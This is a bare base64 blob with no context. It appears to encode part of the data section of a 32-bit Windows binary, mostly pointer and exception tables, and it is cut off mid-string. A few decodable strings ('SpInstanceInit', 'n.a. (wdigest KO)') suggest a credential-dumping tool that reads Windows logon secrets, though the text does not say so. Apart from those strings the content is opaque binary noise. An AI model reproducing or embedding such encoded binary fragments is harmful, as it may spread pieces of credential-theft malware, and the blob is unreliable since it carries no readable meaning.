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AAAAAAAAAAAAAAEAAAAAAAAA7AAFEAAAAAD/////AAAAAAwAAACHLwIQAAAAAP0WABAAAAAAtLsEEAMAAADEuwQQiLsEEDDEBBAAAAAADAEFEAAAAAD/////AAAAAAwAAADULwIQAAAAAP0WABAAAAAA8LsEEAMAAAAAvAQQiLsEEDDEBBAAAAAALAEFEAAAAAD/////AAAAAAwAAAAhMAIQ/////33HAxAiBZMZAQAAABy8BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////oscDECIFkxkBAAAASLwEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////FxwMQIgWTGQEAAAB0vAQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA//////LHAxAiBZMZAQAAAKC8BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////H8gDECIFkxkBAAAAzLwEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP7///8AAAAA1P///wAAAAD+////AAAAAKtTAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAApFcCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAC6WQIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAMBaAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAoFsCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADKZQIQ/v///wAAAADWZQIQ/v///wAAAADM////AAAAAP7///8AAAAA7XICEAAAAAAAAAAAqnICEAAAAAAAAAAAvHICEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAC8dAIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAANd3AhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAy3gCEAAAAAD+////AAAAANT///8AAAAA/v///yt6AhA8egIQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAHGKAhAAAAAAM4oCED2KAhD+////AAAAANj///8AAAAA/v///xmLAhAiiwIQQAAAAAAAAAAAAAAAEYwCEP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAvL4EECIFkxkCAAAAzL4EEAEAAADcvgQQAAAAAAAAAAAAAAAAAQAAAAAAAAD+////AAAAALT///8AAAAA/v///wAAAABJjQIQAAAAALmMAhDCjAIQ/v///wAAAADU////AAAAAP7///8wjwIQNI8CEAAAAAD+////AAAAANj///8AAAAA/v///8mPAhDNjwIQAAAAANWIAhAAAAAAjL8EEAIAAACYvwQQMMQEEAAAAACwBgUQAAAAAP////8AAAAADAAAAMCUAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAANqQCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAtpgIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAFaoAhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAA4akCEAAAAAAAAAAArakCEP7///8AAAAA1P///wAAAAD+////AAAAADOqAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAMqsCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB+rAIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHGtAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA6K4CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACXuQIQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAMK6AhD+////AAAAANG6AhD+////AAAAANj///8AAAAA/v///wAAAACEvAIQ/v///wAAAACQvAIQ/v///wAAAADU////AAAAAP7///8AAAAA7L4CEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACfwwIQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAGDJAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAitMCEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABr1wIQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAMvYAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAwtsCEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACU3wIQAAAAAP7///8AAAAA2P///wAAAAD+////1ukCEPLpAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAbOsCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAADm7AIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAACPvAhAAAAAA/v///wAAAADI////AAAAAP7///8AAAAA6PACEAAAAAAAAAAAJPACEP7///8AAAAA0P///wAAAAD+////AAAAAIYrAxAAAAAA/v///wAAAADY////AAAAAP7///80WgMQOFoDEAAAAAD+////AAAAANj///8AAAAA/v///4RaAxCIWgMQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAN5wAxAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAlnQDEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAAFdgMQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAANJ3AxAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAxYwDEAAAAAD+////AAAAANj///8AAAAA/v///3uOAxCOjgMQAAAAAKQYBRAAAAAA/////wAAAAAMAAAAOxEAEAAAAADEGAUQAAAAAP////8AAAAADAAAAOtMAhACAAAAFMQEEDDEBBAAAAAA/RYAEAAAAABMxAQQAAAAAOAYBRAAAAAA/////wAAAAAUAAAAAhcAEAAAAAAEGQUQAAAAAP////8AAAAAFAAAAB0XABAEAAAAaMQEEITEBBAUxAQQMMQEEAAAAAD9FgAQAAAAAKDEBBAAAAAAJBkFEAAAAAD/////AAAAAAwAAAAQTQIQAgAAAMTEBBAwxAQQAAAAALlMAhAAAAAA4MQEEAAAAABAGQUQAAAAAP////8AAAAADAAAAFJOABACAAAA/MQEEDDEBBAAAAAAABAAEAAAAAAYxQQQ/////wAAAAD/////AAAAAAAAAAAAAAAAAAAAAM3QARAAAAAAAAAAAAEAAAABAAAARMUEECIFkxkCAAAANMUEEAEAAABUxQQQAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAAAAAAAAAAAyOgEQAAAAAAAAAAABAAAAAQAAAJzFBBAiBZMZAgAAAIzFBBABAAAArMUEEAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAeekAEAAA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